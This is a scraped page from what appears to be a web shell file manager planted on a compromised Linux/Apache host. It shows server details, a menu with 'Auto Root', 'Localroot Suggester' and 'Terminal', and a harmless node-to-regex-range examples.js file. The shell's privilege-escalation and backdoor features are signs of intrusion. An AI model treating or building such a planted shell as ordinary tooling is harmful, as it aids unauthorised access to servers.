Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.216.250
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
node-to-regex-range /
Delete
Unzip
Name
Size
Permission
Date
Action
README.md.gz
3.98
KB
-rw-r--r--
2019-04-07 06:04
changelog.Debian.gz
950
B
-rw-r--r--
2021-08-15 09:33
copyright
1.47
KB
-rw-r--r--
2021-08-15 09:33
examples.js
1.32
KB
-rw-r--r--
2019-04-07 06:04
Save
Rename
'use strict'; const toRegexRange = require('./'); const table = require('text-table'); const Time = require('time-diff'); const time = new Time(); /** * $ node examples.js */ const toRange = (min, max) => { let key = 'to-range' + min + max; time.start(key); return [ '', `\`toRegexRange(${min}, ${max})\``, `\`${toRegexRange(min, max, { wrap: false }).split('|').join('\\|')}\``, `_${time.end(key)}_`, '' ]; }; toRange('1', '3'); let rows = [ ['', '**Range**', '**Result**', '**Compile time**', ''], ['', '--- ', '--- ', '---', ''], ]; let examples = [ ['-10', '10'], ['-100', '-10'], ['-100', '100'], ['001', '100'], ['001', '555'], ['0010', '1000'], ['1', '50'], ['1', '55'], ['1', '555'], ['1', '5555'], ['111', '555'], ['29', '51'], ['31', '877'], ['5', '5'], ['5', '6'], ['1', '2'], ['1', '5'], ['1', '10'], ['1', '100'], ['1', '1000'], ['1', '10000'], ['1', '100000'], ['1', '1000000'], ['1', '10000000'], ].forEach(args => { rows.push(toRange.apply(null, args)); }); let text = table(rows, { hsep: ' | ' }); console.log(text); /** * This method is exposed as a helper, which is picked up * by verb and used in the .verb.md readme template */ module.exports = () => { return text.split('\n').map(line => line.replace(/^ +/, '')).join('\n'); };